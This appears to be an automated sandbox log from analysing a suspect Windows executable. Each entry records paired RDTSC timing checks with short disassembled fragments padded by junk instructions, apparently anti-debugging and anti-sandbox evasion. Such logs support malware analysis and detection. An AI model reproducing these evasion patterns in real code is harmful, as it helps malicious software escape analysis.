Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E8E3 second address: F2E8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC221A94B26h 0x0000000a jmp 00007FC221A94B2Eh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F334B4 second address: F334B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F334B8 second address: F334BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33639 second address: F33643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC220745DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33BDC second address: F33BE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33E44 second address: F33E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007FC220745DF6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC220745E01h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33FAB second address: F33FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3422E second address: F34232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34232 second address: F34256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC221A94B39h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED94FE second address: ED9504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9504 second address: ED9508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC4E4 second address: EFC4E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC4E8 second address: EFC4F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC4F6 second address: EFC4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC4FA second address: EFC504 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC504 second address: EFC50E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC220745DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC50E second address: ED8A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jno 00007FC221A94B28h 0x0000000d call dword ptr [ebp+122D2688h] 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC5AC second address: EFC5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FC220745E0Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC5CF second address: EFC5D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC5D4 second address: EFC5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA2C second address: EFCA36 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA36 second address: EFCA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA3A second address: D519BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr [ebp+122D04E9h] 0x00000010 xor dx, 45BCh 0x00000015 mov ecx, dword ptr [ebp+122D2B4Ah] 0x0000001b call dword ptr [ebp+122D2819h] 0x00000021 pushad 0x00000022 jmp 00007FC221A94B37h 0x00000027 xor eax, eax 0x00000029 jmp 00007FC221A94B34h 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 stc 0x00000033 sub dword ptr [ebp+122D2F78h], edi 0x00000039 mov dword ptr [ebp+122D2B56h], eax 0x0000003f jmp 00007FC221A94B2Eh 0x00000044 mov esi, 0000003Ch 0x00000049 mov dword ptr [ebp+122D19E9h], edi 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jno 00007FC221A94B2Ch 0x00000059 lodsw 0x0000005b pushad 0x0000005c jnl 00007FC221A94B2Ch 0x00000062 mov ecx, dword ptr [ebp+122D2B16h] 0x00000068 popad 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D1B69h], edx 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 clc 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b jnp 00007FC221A94B3Eh 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCB0B second address: EFCB27 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC220745DFCh 0x00000008 jne 00007FC220745DF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ebx 0x00000013 pushad 0x00000014 jng 00007FC220745DF6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCB27 second address: EFCB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007FC221A94B2Bh 0x0000000f pop eax 0x00000010 and edx, dword ptr [ebp+122D2B7Ah] 0x00000016 push E680D4CBh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jns 00007FC221A94B26h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCC8A second address: EFCC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC220745DF6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCC9A second address: EFCCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD50A second address: EFD51F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FC220745DF8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD711 second address: EFD715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD715 second address: EFD778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnp 00007FC220745E03h 0x0000000e push edx 0x0000000f jmp 00007FC220745DFBh 0x00000014 pop edx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FC220745DF8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov edx, 6CBB1FD8h 0x00000035 lea eax, dword ptr [ebp+1247E294h] 0x0000003b jng 00007FC220745E01h 0x00000041 js 00007FC220745DFBh 0x00000047 adc dx, 4B63h 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD778 second address: EFD77C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD77C second address: EFD7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FC220745DFDh 0x0000000c pop esi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FC220745DF8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D1BE4h], ecx 0x00000031 lea eax, dword ptr [ebp+1247E250h] 0x00000037 add edx, dword ptr [ebp+122D251Ch] 0x0000003d nop 0x0000003e jo 00007FC220745DFEh 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD7D6 second address: ED94FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jnc 00007FC221A94B40h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FC221A94B28h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov di, B41Dh 0x0000002b call dword ptr [ebp+122D27F4h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FC221A94B2Bh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38A15 second address: F38A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38A19 second address: F38A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B2Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jnl 00007FC221A94B26h 0x00000013 jng 00007FC221A94B26h 0x00000019 popad 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FC221A94B31h 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38B99 second address: F38BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745DFDh 0x00000009 jne 00007FC220745E08h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38D18 second address: F38D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C552 second address: F3C558 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C558 second address: F3C585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC221A94B32h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FC221A94B26h 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007FC221A94B3Ch 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C585 second address: F3C593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB62D1 second address: EB62D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E7A1 second address: F3E7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E7B1 second address: F3E7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 jo 00007FC221A94B2Ch 0x0000000d jno 00007FC221A94B26h 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007FC221A94B26h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41B55 second address: F41B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41B59 second address: F41B78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B33h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41B78 second address: F41B99 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC220745E07h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41B99 second address: F41BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41363 second address: F4136D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC220745DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4136D second address: F41373 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41373 second address: F41394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E01h 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FC220745DF6h 0x0000000f jp 00007FC220745DF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41394 second address: F4139A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4139A second address: F413E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC220745E06h 0x0000000f push edx 0x00000010 jmp 00007FC220745E00h 0x00000015 jmp 00007FC220745E05h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4157A second address: F41590 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FC221A94B26h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC221A94B2Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F416E0 second address: F416E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45CAB second address: F45CD5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC221A94B40h 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FC221A94B26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45CD5 second address: F45D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745DFFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FC220745E01h 0x00000013 jmp 00007FC220745E01h 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4592E second address: F45932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45932 second address: F45936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45936 second address: F45957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B37h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45957 second address: F4595B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4595B second address: F459BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FC221A94B2Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 jnc 00007FC221A94B26h 0x00000019 jmp 00007FC221A94B2Ah 0x0000001e popad 0x0000001f jl 00007FC221A94B54h 0x00000025 jc 00007FC221A94B3Eh 0x0000002b jmp 00007FC221A94B36h 0x00000030 pushad 0x00000031 popad 0x00000032 pushad 0x00000033 jnc 00007FC221A94B26h 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4748F second address: F474B7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC220745DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC220745DFBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC220745E01h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B3C2 second address: F4B3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C9CD second address: F4C9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C9D3 second address: F4C9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C9D9 second address: F4C9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50DAA second address: F50DD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B2Ah 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FC221A94B30h 0x00000011 jmp 00007FC221A94B2Ah 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50DD1 second address: F50DE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5106B second address: F51075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC221A94B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5130B second address: F5130F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5130F second address: F51319 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC221A94B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51319 second address: F51329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FC220745DFEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51329 second address: F5132F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5132F second address: F51334 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD15A second address: EFD1CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jne 00007FC221A94B26h 0x00000010 pop esi 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 adc cx, 5E73h 0x0000001a push 00000004h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FC221A94B28h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov di, B7B8h 0x0000003a mov edx, dword ptr [ebp+122D2B46h] 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 jns 00007FC221A94B3Bh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F515DA second address: F515DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F7F second address: F51F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F84 second address: F51F9B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC220745E02h 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D92 second address: F58DA0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58DA0 second address: F58DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58DA6 second address: F58DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58DAA second address: F58DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745DFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58DB8 second address: F58DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC221A94B30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F593E6 second address: F593EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F593EA second address: F59414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B39h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FC221A94B26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59414 second address: F59439 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FC220745DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC220745E09h 0x00000011 rdtsc
